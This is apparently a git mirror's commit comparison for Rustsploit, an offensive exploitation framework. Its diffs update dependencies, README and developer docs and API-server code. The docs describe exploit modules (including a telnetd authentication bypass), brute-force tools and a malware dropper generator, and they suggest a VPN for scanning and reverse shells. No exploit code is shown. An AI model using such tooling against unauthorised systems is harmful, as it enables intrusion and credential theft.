mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
86 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 386b19a17f | |||
| 9220bdceb5 | |||
| 9431916b8b | |||
| 5f168a79a3 | |||
| 63200f3d5e | |||
| 978f27e368 | |||
| 40ea4a3a74 | |||
| 90b83e4c29 | |||
| e58535d067 | |||
| d3596cf9c1 | |||
| c1963bd947 | |||
| 5ca83ef795 | |||
| c1202e98e9 | |||
| 1957eee693 | |||
| dc2763d2c4 | |||
| 8f2e4adc2d | |||
| 1c934adc33 | |||
| f37f5fa8f5 | |||
| a508bcb7dd | |||
| 260b919fba | |||
| ee3d24f6e8 | |||
| cbe7148938 | |||
| 4ec2631a2c | |||
| 4d6d127045 | |||
| 7da29ae4fe | |||
| edef9da2e5 | |||
| 0bc088d6e5 | |||
| 723241e50e | |||
| 63fb9e2387 | |||
| bd40afe476 | |||
| 537541be89 | |||
| 76a44bc3e7 | |||
| 176402c12f | |||
| 2c67cfe4ee | |||
| a4d94476e4 | |||
| 938b613cc1 | |||
| 64a0067a36 | |||
| 7feccde0b1 | |||
| 84ccbb9ce1 | |||
| 60a877ca57 | |||
| 2265480f99 | |||
| 6de9934070 | |||
| e0e2c4d8a9 | |||
| ba160cade8 | |||
| 553180eb16 | |||
| 0b17d39a05 | |||
| a348d440f8 | |||
| c60d8a69b3 | |||
| cd48200b0e | |||
| 566372adae | |||
| 9cb1ec0eb7 | |||
| 5aa35e8fe4 | |||
| 7c17a96ba4 | |||
| 4985537680 | |||
| 3514bea13c | |||
| c69ecb237a | |||
| d61d0987dc | |||
| 102d618289 | |||
| b5d0ce4c70 | |||
| 82ff19dc9d | |||
| 8d314e6d78 | |||
| aeaa894336 | |||
| 1b407c349f | |||
| 62cfce1b8d | |||
| c1f4aca340 | |||
| b6208db764 | |||
| 66679ee09d | |||
| 4a4ad714b0 | |||
| cf95a3db70 | |||
| 5434430ad0 | |||
| 6d33f0fdaa | |||
| 77124d25a2 | |||
| 7ec5089ea8 | |||
| 587e11267a | |||
| 65c6ec75b4 | |||
| 6bbb9d3048 | |||
| de6b598cd9 | |||
| d66f33193f | |||
| be2237e39b | |||
| f4935c1f9e | |||
| b646039f2e | |||
| c6c577ed52 | |||
| 77639bcf8b | |||
| 49ab851ffe | |||
| 03779dbe64 | |||
| e01e231579 |
+12
-5
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rustsploit"
|
||||
version = "0.4.3"
|
||||
version = "0.5.0"
|
||||
edition = "2024"
|
||||
build = "build.rs"
|
||||
|
||||
@@ -14,7 +14,7 @@ anyhow = "1.0"
|
||||
colored = "3.0" # newer than 2.0
|
||||
rand = "0.9"
|
||||
rustyline = "17.0"
|
||||
sysinfo = { version = "0.37", features = ["multithread"] }
|
||||
sysinfo = { version = "0.38", features = ["multithread"] }
|
||||
|
||||
# CLI & Async runtime
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
@@ -52,7 +52,7 @@ which = "8.0"
|
||||
|
||||
# FTP
|
||||
async_ftp = "6.0"
|
||||
suppaftp = { version = "7.1", features = ["tokio-async-native-tls"] }
|
||||
suppaftp = { version = "8.0", features = ["tokio-async-native-tls"] }
|
||||
native-tls = "0.2"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "1.0"
|
||||
@@ -64,9 +64,13 @@ telnet = "0.2"
|
||||
async-stream = "0.3.6"
|
||||
|
||||
# SSH
|
||||
ssh2 = "0.9"
|
||||
libc = "0.2"
|
||||
|
||||
|
||||
# Bluetooth
|
||||
btleplug = "0.11"
|
||||
|
||||
|
||||
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
|
||||
# rdp = "0.12"
|
||||
|
||||
@@ -89,7 +93,7 @@ chrono = { version = "0.4", features = ["serde"] }
|
||||
axum = "0.8"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
|
||||
uuid = { version = "1.19", features = ["v4"] }
|
||||
uuid = { version = "1.19", features = ["v4", "serde"] }
|
||||
|
||||
# DNS
|
||||
hickory-client = { version = "0.25" }
|
||||
@@ -100,6 +104,9 @@ once_cell = "1.21"
|
||||
home = "0.5" # updated for edition 2024 compatibility
|
||||
pnet = "0.35"
|
||||
des = { version = "0.8.1", features = ["zeroize"] }
|
||||
strsim = "0.11"
|
||||
byteorder = "1.5.0"
|
||||
ssh2 = "0.9.5"
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.12"
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
# Rustsploit
|
||||
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
- **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- **Developer Docs:** [Full guide covering module lifecycle,shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
|
||||
- **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
|
||||
|
||||
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
|
||||
|
||||
---
|
||||
@@ -22,10 +22,9 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
|
||||
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
|
||||
6. [CLI Usage](#cli-usage)
|
||||
7. [API Server Mode](#api-server-mode)
|
||||
8. [Proxy Workflow](#proxy-workflow)
|
||||
9. [How Modules Are Discovered](#how-modules-are-discovered)
|
||||
10. [Contributing](#contributing)
|
||||
11. [Credits](#credits)
|
||||
8. [How Modules Are Discovered](#how-modules-are-discovered)
|
||||
9. [Contributing](#contributing)
|
||||
10. [Credits](#credits)
|
||||
|
||||
---
|
||||
|
||||
@@ -33,14 +32,14 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
|
||||
|
||||
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
|
||||
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
|
||||
- **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
|
||||
|
||||
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet brute force modules with IPv6 and TLS support where applicable
|
||||
- **Enhanced Telnet module:** Full IAC (Interpret As Command) negotiation, advanced error classification, verbose quick-check mode, robust buffer handling
|
||||
- **Improved RDP module:** Streaming failover for large password files (>150MB), comprehensive error classification, multiple security level support (NLA/TLS/RDP/Negotiate/Auto)
|
||||
- **L2TP/IPsec Bruteforce:** Multi-platform support (strongswan, xl2tpd, NetworkManager, rasdial, networksetup), proper IPsec Phase 1/2 handling
|
||||
- **Framework-level honeypot detection:** Automatic detection before scans using 200 common ports (warns if 11+ ports open)
|
||||
- **Advanced target normalization:** Supports IPv4, IPv6, hostnames, URLs, CIDR notation with comprehensive validation
|
||||
- **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- **Exploit coverage:** GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root), **Directory Bruteforcer**, **Sequential Fuzzer**
|
||||
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
|
||||
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
|
||||
@@ -51,14 +50,25 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
|
||||
|
||||
---
|
||||
|
||||
## Module Catalog
|
||||
**🚀 New Features:**
|
||||
- **CLI Error Handling** - Added proper warning messages for invalid flag combinations:
|
||||
- `⚠ Warning` when `-m` is used without `-t` (suggests proper usage)
|
||||
- `ℹ Note` when `-t` is used without `-m` (target available in shell)
|
||||
- Error when `--harden` is used without `--api`
|
||||
- Helpful usage hints printed for common mistakes
|
||||
- **Improved CLI Experience** - Added `--list-modules` to browse tools without entering the shell, and `--verbose` for detailed operation logs. Fuzzy matching now suggests corrections for typos (e.g., `sample_xploit` -> `sample_exploit`).
|
||||
- **Colored CLI output** - Warnings in yellow, hints in cyan, success in green
|
||||
|
||||
**📚 Documentation:**
|
||||
- Updated developer guide with v0.5.0 changes
|
||||
- Added CLI error handling examples
|
||||
|
||||
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
|
||||
|
||||
| Category | Highlights |
|
||||
|----------|------------|
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force (5 operation modes, JSON config), SSH brute force, SSH user enumeration (timing attack), SSH password spray, **Telnet brute force (with IAC negotiation)**, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), **RDP auth-only brute (streaming mode, multiple security levels)**, **MQTT brute force**, SNMP community string brute force, **L2TP/IPsec brute force (multi-platform)**, Fortinet SSL VPN brute force |
|
||||
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
|
||||
| `exploits/*` | GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
|
||||
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support), **Directory Bruteforcer (recursive, extensions)**, **Sequential Fuzzer (multi-encoding, custom charsets)** |
|
||||
| `payloadgens` | `narutto_dropper`, BAT payload generator |
|
||||
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
|
||||
@@ -71,12 +81,51 @@ Run `modules` or `find <keyword>` in the shell for the authoritative list.
|
||||
|
||||
### Requirements
|
||||
|
||||
```
|
||||
**Debian/Ubuntu/Kali:**
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install freerdp2-x11 # Required for the RDP brute force module
|
||||
sudo apt install pkg-config libssl-dev freerdp2-x11 libdbus-1-dev # Required for RDP and Bluetooth modules
|
||||
|
||||
```
|
||||
|
||||
**Arch Linux:**
|
||||
```bash
|
||||
sudo pacman -S pkgconf openssl freerdp
|
||||
```
|
||||
|
||||
**Gentoo:**
|
||||
```bash
|
||||
sudo emerge dev-libs/openssl dev-util/pkgconf net-misc/freerdp
|
||||
```
|
||||
|
||||
**Fedora/RHEL:**
|
||||
```bash
|
||||
sudo dnf install pkgconf-pkg-config openssl-devel freerdp
|
||||
```
|
||||
|
||||
### Installing Rust & Cargo
|
||||
|
||||
**General (Recommended for all Linux/macOS):**
|
||||
```bash
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
||||
source $HOME/.cargo/env
|
||||
```
|
||||
|
||||
**Debian/Ubuntu/Kali:**
|
||||
```bash
|
||||
sudo apt install rustc cargo
|
||||
```
|
||||
|
||||
**Arch Linux:**
|
||||
```bash
|
||||
sudo pacman -S rust
|
||||
```
|
||||
|
||||
**Fedora/RHEL:**
|
||||
```bash
|
||||
sudo dnf install rust cargo
|
||||
```
|
||||
|
||||
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
|
||||
|
||||
### Clone + Build
|
||||
|
||||
@@ -92,10 +141,26 @@ cargo build
|
||||
cargo run
|
||||
```
|
||||
|
||||
### Install (optional)
|
||||
### Global Installation (Run from Terminal)
|
||||
|
||||
```
|
||||
To run `rustsploit` from anywhere in your terminal:
|
||||
|
||||
**Option 1: Cargo Install (Easiest)**
|
||||
```bash
|
||||
cargo install --path .
|
||||
rustsploit
|
||||
```
|
||||
|
||||
**Option 2: Manually Build Release Binary**
|
||||
```bash
|
||||
# 1. Build optimized release version
|
||||
cargo build --release
|
||||
|
||||
# 2. Move binary to your path (e.g., /usr/local/bin)
|
||||
sudo cp target/release/rustsploit /usr/local/bin/
|
||||
|
||||
# 3. Run from anywhere
|
||||
rustsploit
|
||||
```
|
||||
|
||||
---
|
||||
@@ -221,10 +286,6 @@ find find <kw> | f1 <kw> Search modules by keyword
|
||||
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
|
||||
set target set target <value> Set current target (IPv4/IPv6/hostname)
|
||||
run run | go Execute current module (honors proxy mode)
|
||||
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
|
||||
proxy_on/off proxy_on | pon / ... Toggle proxy usage
|
||||
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
|
||||
show_proxies show_proxies | proxies View proxy status
|
||||
exit exit | quit | q Leave shell
|
||||
```
|
||||
|
||||
@@ -234,14 +295,9 @@ Example session:
|
||||
rsf> f1 ssh
|
||||
rsf> u creds/generic/ssh_bruteforce
|
||||
rsf> set target 10.10.10.10
|
||||
rsf> pl data/proxies.txt # prompts if omitted
|
||||
rsf> pon
|
||||
rsf> proxy_test # optional validation / filtering
|
||||
rsf> go
|
||||
```
|
||||
|
||||
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
|
||||
|
||||
### Command Chaining
|
||||
|
||||
Execute multiple commands in a single line using the `&` separator:
|
||||
@@ -270,6 +326,20 @@ cargo run -- --command scanner --module port_scanner --target 192.168.1.1
|
||||
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
|
||||
```
|
||||
|
||||
### Global Flags
|
||||
|
||||
- `--list-modules`: Print all available modules and exit.
|
||||
- `--verbose (-v)`: Enable detailed logging (useful for debugging).
|
||||
- `--output-format <text|json>`: Control output format (default: text).
|
||||
|
||||
```bash
|
||||
# List all modules
|
||||
cargo run -- --list-modules
|
||||
|
||||
# Run with verbose logging
|
||||
cargo run -- -m exploits/sample_exploit -t 127.0.0.1 -v
|
||||
```
|
||||
|
||||
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
|
||||
|
||||
---
|
||||
@@ -330,14 +400,26 @@ Authorization: ApiKey your-api-key-here
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
|
||||
```
|
||||
|
||||
- **`GET /api/module/:category/:name`** - Get details for a specific module
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/module/exploits/sample_exploit
|
||||
```
|
||||
|
||||
- **`POST /api/run`** - Execute a module on a target
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
- **`POST /api/validate`** - Validate parameters without execution
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/validate
|
||||
```
|
||||
|
||||
- **`GET /api/status`** - Get API server status and statistics
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
|
||||
@@ -428,6 +510,8 @@ Log entries include:
|
||||
- Module execution results
|
||||
- Resource cleanup operations
|
||||
|
||||
**Note:** API responses now include `request_id`, `timestamp`, and `duration_ms` for better observability.
|
||||
|
||||
### Example API Workflow
|
||||
|
||||
```
|
||||
@@ -455,20 +539,18 @@ curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
|
||||
|
||||
---
|
||||
|
||||
## Proxy Workflow
|
||||
## Private Internet Recommendations
|
||||
|
||||
Rustsploit treats proxy lists as first-class citizens:
|
||||
The built-in proxy system has been removed in favor of system-level VPN solutions which offer far superior reliability and security for offensive operations.
|
||||
|
||||
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
|
||||
- Loads from user-supplied files, skipping invalid lines with reasons
|
||||
- Optional connectivity test prompts allow tuning:
|
||||
- Test URL (default `https://example.com`)
|
||||
- Timeout (seconds)
|
||||
- Max concurrent checks
|
||||
- Keeps only working proxies when validation is requested
|
||||
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
|
||||
We strongly recommend **[Mullvad VPN](https://mullvad.net)** for the following reasons:
|
||||
- **No Registration:** Account numbers are generated without email or personal data.
|
||||
- **Privacy Focus:** Proven no-logs policy, audited infrastructure, and anonymous payment options (Cash, Crypto).
|
||||
- **WireGuard Support:** High-performance, low-latency tunneling essential for scanning and brute-forcing.
|
||||
- **Port Forwarding:** (Note: check current availability) historically supported for reverse shells.
|
||||
- **Linux CLI:** Excellent command-line client that integrates well with headless setups.
|
||||
|
||||
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
|
||||
To use Rustsploit with Mullvad (or any VPN), simply connect the VPN on your host system before running the tool. All traffic will naturally route through the tunnel.
|
||||
|
||||
---
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
+17
-21
@@ -1,6 +1,6 @@
|
||||
# Rustsploit Developer Guide
|
||||
|
||||
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
|
||||
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, and authoring guidelines for exploits, scanners, and credential modules.
|
||||
|
||||
---
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
2. [Code Layout](#code-layout)
|
||||
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
|
||||
4. [Shell Architecture](#shell-architecture)
|
||||
5. [Proxy Subsystem](#proxy-subsystem)
|
||||
|
||||
6. [Command-Line Interface](#command-line-interface)
|
||||
7. [Security & Input Validation](#security--input-validation)
|
||||
8. [Authoring Modules](#authoring-modules)
|
||||
@@ -29,7 +29,7 @@ Rustsploit is a Rust-first re-imagining of RouterSploit:
|
||||
- Async-native (Tokio) for scalable brute forcing and network IO
|
||||
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
|
||||
- Interactive shell + CLI runner referencing the same dispatch layer
|
||||
- Proxy-aware execution with run-time rotation, validation, and fallback logic
|
||||
|
||||
- IPv4/IPv6-friendly: target normalization happens uniformly
|
||||
- Carefully colored, concise output designed for operators on remote consoles
|
||||
|
||||
@@ -90,16 +90,15 @@ Because the dispatcher is generated at build time, there is no manual registry d
|
||||
|
||||
The shell lives in `src/shell.rs`. Highlights:
|
||||
|
||||
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
|
||||
- **Context:** `ShellContext` stores `current_module`, `current_target`.
|
||||
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
|
||||
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
|
||||
- **Command palette:** `render_help()` prints a colorized table for quick reference.
|
||||
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
|
||||
|
||||
- **Run pipeline:** On `run`/`go`, the shell enforces:
|
||||
- Module selected
|
||||
- Target set
|
||||
- Proxy state respected (rotate until success or fallback direct)
|
||||
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
|
||||
|
||||
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
|
||||
|
||||
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
|
||||
@@ -117,19 +116,7 @@ Commands are parsed and executed sequentially from left to right. This is useful
|
||||
|
||||
---
|
||||
|
||||
## Proxy Subsystem
|
||||
|
||||
Implemented in `utils.rs` and surfaced in the shell.
|
||||
|
||||
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
|
||||
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
|
||||
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
|
||||
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
|
||||
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
|
||||
|
||||
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
|
||||
|
||||
---
|
||||
|
||||
## Command-Line Interface
|
||||
|
||||
@@ -138,6 +125,9 @@ Proxies are set globally via environment variables so both module HTTP requests
|
||||
- `--command exploit|scanner|creds`
|
||||
- `--module <name>` (short or qualified, same mapping as the shell)
|
||||
- `--target <host|IP>`
|
||||
- `--list-modules` (list all available modules)
|
||||
- `--verbose` (enable detailed logging)
|
||||
- `--output-format <text|json>` (control output format)
|
||||
|
||||
Example:
|
||||
|
||||
@@ -345,6 +335,12 @@ Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
|
||||
|
||||
### Recent Module Enhancements
|
||||
|
||||
- **CVE-2026-24061 Exploit**:
|
||||
- GNU inetutils-telnetd Remote Authentication Bypass via `NEW_ENVIRON`
|
||||
- Automated payload execution and interactive shell session
|
||||
- Mass-scan support with multi-port parallelization and exclusion ranges
|
||||
- Verified logic for IAC (Interpret As Command) telnet negotiation
|
||||
|
||||
- **Telnet Module**:
|
||||
- Full IAC (Interpret As Command) negotiation with proper option handling
|
||||
- Enhanced error classification with specific error types
|
||||
@@ -410,7 +406,7 @@ Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
|
||||
|
||||
- **`module_exists` / `list_all_modules` / `find_modules`**: Used by shell to present module inventory.
|
||||
|
||||
- **Proxy helpers**: `load_proxies_from_file`, `test_proxies`, etc. (described earlier).
|
||||
|
||||
|
||||
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
|
||||
|
||||
@@ -423,7 +419,7 @@ Feel free to expand this file with reusable pieces (e.g., credential loader, HTT
|
||||
3. **Runtime smoke tests:**
|
||||
- Shell: `cargo run` → `modules` → run a harmless module (e.g., `scanners/sample_scanner`).
|
||||
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
|
||||
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
|
||||
|
||||
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
|
||||
|
||||
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
|
||||
|
||||
+417
-105
@@ -18,7 +18,8 @@ use std::{
|
||||
use tokio::{
|
||||
fs::OpenOptions,
|
||||
io::AsyncWriteExt,
|
||||
sync::{RwLock, Semaphore},
|
||||
|
||||
sync::{mpsc, RwLock}, // Removed Semaphore, added mpsc
|
||||
};
|
||||
use tower::ServiceBuilder;
|
||||
use tower_http::{
|
||||
@@ -60,8 +61,24 @@ pub struct AuthFailureTracker {
|
||||
pub blocked_until: Option<DateTime<Utc>>,
|
||||
}
|
||||
|
||||
/// Global limit for concurrent module executions to prevent resource exhaustion
|
||||
const MAX_CONCURRENT_MODULES: usize = 10;
|
||||
/// Global limit for concurrent module executions
|
||||
// const MAX_CONCURRENT_MODULES: usize = 10; // Removed, now dynamic
|
||||
|
||||
#[derive(Debug)]
|
||||
pub struct Job {
|
||||
pub module: String,
|
||||
pub target: String,
|
||||
pub verbose: bool,
|
||||
pub start_time: std::time::Instant,
|
||||
}
|
||||
|
||||
|
||||
|
||||
// Force usage of ExecutionError to avoid dead code warning until fully implemented
|
||||
fn _suppress_dead_code_warning() {
|
||||
let _ = ApiErrorCode::ExecutionError;
|
||||
let _ = ApiErrorCode::ServerError;
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct ApiState {
|
||||
@@ -71,7 +88,8 @@ pub struct ApiState {
|
||||
pub harden_enabled: bool,
|
||||
pub ip_limit: u32,
|
||||
pub log_file: PathBuf,
|
||||
pub execution_limit: Arc<Semaphore>,
|
||||
pub job_sender: mpsc::Sender<Job>, // Replaced execution_limit
|
||||
pub verbose: bool,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
@@ -79,6 +97,38 @@ pub struct ApiResponse {
|
||||
pub success: bool,
|
||||
pub message: String,
|
||||
pub data: Option<serde_json::Value>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub error_code: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub suggestion: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub request_id: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub timestamp: Option<String>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub duration_ms: Option<u64>,
|
||||
}
|
||||
|
||||
pub enum ApiErrorCode {
|
||||
AuthFailed,
|
||||
RateLimited,
|
||||
InvalidModule,
|
||||
InvalidTarget,
|
||||
ExecutionError,
|
||||
ServerError,
|
||||
}
|
||||
|
||||
impl ApiErrorCode {
|
||||
pub fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
ApiErrorCode::AuthFailed => "AUTH_FAILED",
|
||||
ApiErrorCode::RateLimited => "RATE_LIMITED",
|
||||
ApiErrorCode::InvalidModule => "INVALID_MODULE",
|
||||
ApiErrorCode::InvalidTarget => "INVALID_TARGET",
|
||||
ApiErrorCode::ExecutionError => "EXECUTION_ERROR",
|
||||
ApiErrorCode::ServerError => "SERVER_ERROR",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
@@ -97,6 +147,31 @@ pub struct ListModulesResponse {
|
||||
// ----------------------
|
||||
// Validation utilities
|
||||
// ----------------------
|
||||
// ----------------------
|
||||
// Validation utilities
|
||||
// ----------------------
|
||||
|
||||
fn create_response(
|
||||
success: bool,
|
||||
message: String,
|
||||
data: Option<serde_json::Value>,
|
||||
error_code: Option<String>,
|
||||
suggestion: Option<String>,
|
||||
start_time: Option<std::time::Instant>,
|
||||
) -> ApiResponse {
|
||||
let duration_ms = start_time.map(|t| t.elapsed().as_millis() as u64);
|
||||
ApiResponse {
|
||||
success,
|
||||
message,
|
||||
data,
|
||||
error_code,
|
||||
suggestion,
|
||||
request_id: Some(Uuid::new_v4().to_string()),
|
||||
timestamp: Some(Utc::now().to_rfc3339()),
|
||||
duration_ms,
|
||||
}
|
||||
}
|
||||
|
||||
fn sanitize_for_log(input: &str) -> String {
|
||||
let mut s = input.replace(['\r', '\n', '\t'], " ");
|
||||
if s.len() > 500 {
|
||||
@@ -134,7 +209,7 @@ fn validate_target(target: &str) -> bool {
|
||||
}
|
||||
|
||||
impl ApiState {
|
||||
pub fn new(initial_key: String, harden: bool, ip_limit: u32) -> Self {
|
||||
pub fn new(initial_key: String, harden: bool, ip_limit: u32, verbose: bool, job_sender: mpsc::Sender<Job>) -> Self {
|
||||
let log_file = std::env::current_dir()
|
||||
.unwrap_or_else(|_| PathBuf::from("."))
|
||||
.join("rustsploit_api.log");
|
||||
@@ -149,7 +224,8 @@ impl ApiState {
|
||||
harden_enabled: harden,
|
||||
ip_limit,
|
||||
log_file,
|
||||
execution_limit: Arc::new(Semaphore::new(MAX_CONCURRENT_MODULES)),
|
||||
job_sender,
|
||||
verbose,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -280,6 +356,13 @@ impl ApiState {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
